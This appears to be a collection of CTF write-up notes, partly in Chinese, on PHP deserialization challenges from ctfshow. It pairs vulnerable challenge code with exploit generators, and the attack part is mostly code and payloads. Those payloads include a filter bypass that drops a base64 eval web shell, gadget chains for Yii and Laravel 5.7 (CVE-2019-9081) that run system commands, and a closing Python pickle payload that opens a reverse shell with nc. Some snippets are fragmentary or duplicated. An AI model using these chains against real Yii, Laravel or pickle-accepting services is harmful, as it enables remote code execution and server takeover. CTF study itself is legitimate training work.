<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
$a=new ctfShowUser();
echo urlencode(serialize($a));
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{·
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
<?php
class ctfShowUser{
public $username='admin';
public $password='12345';
public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
······
public function __construct(){
$this->class=new backDoor(); //2 触发backdoor
}
······
class backDoor{
public $code="file_put_contents('shell.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+'));"; # 属性变了!
public function getInfo(){
eval($this->code); //1 shell
}
}
$a=new ctfShowUser();
var_dump(urlencode(preg_replace("/([oc]):(\d+:)/i", "$1:+$2",serialize($a)));
Fatal error: Uncaught Error: Call to a member function getFlag() on bool in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8
<?php
class test{
public $a="ctfshow_i_love_36D";
}
var_dump(serialize(new test()));
->
string(49) "O:4:"test":1:{s:1:"a";s:18:"ctfshow_i_love_36D";}"
所以直接传这个字符串进去就行
Payload:
GET:
?ctfshow=ctfshow_i_love_36D
web261
hint:打Redis
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
<?php
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct(){
$this->username='877.php';
$this->password='<?php eval($_POST[a]);?>';
}
}
echo urlencode(serialize(new ctfshowvip()));
->
O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$a=new message(1,2,'3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');#这里有27个fuck
var_dump(serialize($a));
->
"O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:2;s:2:"to";s:136:"3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}"#这里的部分已经不生效了,因为php会认为在前面admin结束的时候,整段序列化字符串就已经结束
<?php
class User
{
public $username;
public $password;
function __construct()
{
$this->username = '1.php';
$this->password = '<?php system(tac flag.php)?>';
}
}
$a = new User();
echo urlencode(base64_encode('|' . serialize($a)));
->
fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozMDoiPD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKT8%2BIjt9
1.改cookie里的limit,先到index.php,发起session
2.转到check.php
3.访问log-1.php,即可拿到flag
web264
<?php
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
同web262,如果不行,尝试手动带上cookie: msg=任意数
web265
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$test=new ctfshowAdmin('111','111');
var_dump(serialize($test));
->
string(65) "O:12:"ctfshowAdmin":2:{s:5:"token";s:3:"111";s:8:"password";R:2;}"
<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
}
$a=new ctfshow();
echo str_replace('ctfshow','Ctfshow',serialize($a));
->
O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'nl /* > 1.txt';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
注释明说了这是Laravel,涉及到的cve:laravel 5.7(CVE-2019-9081)
找了个POC
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('tac /f*'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
上一题POC打不通了,换一个POC打
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /flag";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
import os
import pickle
import base64
class RCE(object):
def __reduce__(self):
return (eval,("__import__('os').popen('nc ip port -e /bin/sh').read()",))
print(base64.b64encode(pickle.dumps(RCE())))